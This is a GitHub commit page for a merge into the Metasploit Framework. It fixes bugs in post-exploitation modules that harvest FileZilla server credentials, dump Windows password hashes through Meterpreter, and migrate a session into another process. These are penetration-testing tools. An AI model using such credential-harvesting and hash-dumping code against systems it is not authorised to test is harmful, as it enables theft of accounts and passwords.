Skip to content

Commit ba242e1

Browse files
committed
Merge branch 'master' of git://github.com/charles-n2netsec/metasploit-framework into charles-n2netsec-master
2 parents cad8abe + 2ccc3f9 commit ba242e1

File tree

3 files changed

+33
-14
lines changed

3 files changed

+33
-14
lines changed

modules/post/windows/gather/credentials/filezilla_server.rb

Lines changed: 14 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -186,14 +186,19 @@ def get_filezilla_creds(paths)
186186

187187
configuration << [config['ftp_port'], config['ftp_bindip'], config['admin_port'], config['admin_bindip'], config['admin_pass'],
188188
config['ssl'], config['ssl_certfile'], config['ssl_keypass']]
189-
if session.db_record
190-
source_id = session.db_record.id
191-
else
192-
source_id = nil
193-
end
194-
# report the goods!
189+
if session.db_record
190+
source_id = session.db_record.id
191+
else
192+
source_id = nil
193+
end
194+
# report the goods!
195+
if config['admin_port'] == "<none>"
196+
#if report_auth_info executes with admin_port equal to "<none>"
197+
#the module will crash with an error.
198+
vprint_status("(No admin information found.)")
199+
else
195200
report_auth_info(
196-
:host => session,
201+
:host => session.sock.peerhost,
197202
:port => config['admin_port'],
198203
:sname => 'filezilla-admin',
199204
:proto => 'tcp',
@@ -205,7 +210,8 @@ def get_filezilla_creds(paths)
205210
:target_host => config['admin_bindip'],
206211
:target_port => config['admin_port']
207212
)
208-
213+
end
214+
209215
p = store_loot("filezilla.server.creds", "text/csv", session, credentials.to_csv,
210216
"filezilla_server_credentials.csv", "FileZilla FTP Server Credentials")
211217

modules/post/windows/gather/smart_hashdump.rb

Lines changed: 16 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -289,6 +289,8 @@ def decrypt_user_hash(rid, hbootkey, enchash, pass)
289289
def read_hashdump
290290
host,port = session.session_host, session.session_port
291291
collected_hashes = ""
292+
tries = 0
293+
292294
begin
293295

294296
print_status("\tObtaining the boot key...")
@@ -333,9 +335,20 @@ def read_hashdump
333335

334336
rescue ::Interrupt
335337
raise $!
336-
rescue ::Rex::Post::Meterpreter::RequestError => e
337-
print_error("Meterpreter Exception: #{e.class} #{e}")
338-
print_error("This module requires the use of a SYSTEM user context (hint: migrate into service process)")
338+
rescue ::Rex::Post::Meterpreter::RequestError => e
339+
# Sometimes we get this invalid handle race condition.
340+
# So let's retry a couple of times before giving up.
341+
# See bug #6815
342+
if tries < 5 and e.to_s =~ /The handle is invalid/
343+
print_status("Handle is invalid, retrying...")
344+
tries += 1
345+
retry
346+
347+
else
348+
print_error("Meterpreter Exception: #{e.class} #{e}")
349+
print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
350+
end
351+
339352
rescue ::Exception => e
340353
print_error("Error: #{e.class} #{e} #{e.backtrace}")
341354
end

modules/post/windows/manage/migrate.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -44,14 +44,14 @@ def run
4444
print_status("Current server process: #{server.name} (#{server.pid})")
4545

4646
target_pid = nil
47-
47+
4848
if datastore['SPAWN']
4949
print_status("Spawning notepad.exe process to migrate to")
5050
target_pid = create_temp_proc
51-
elsif datastore['PID']
51+
elsif datastore['PID'] != 0
5252
target_pid = datastore['PID']
5353
elsif datastore['NAME']
54-
target_pid = session.sys.process[datstore['NAME']]
54+
target_pid = session.sys.process[datastore['NAME']]
5555
end
5656

5757
if not target_pid

0 commit comments

Comments
 (0)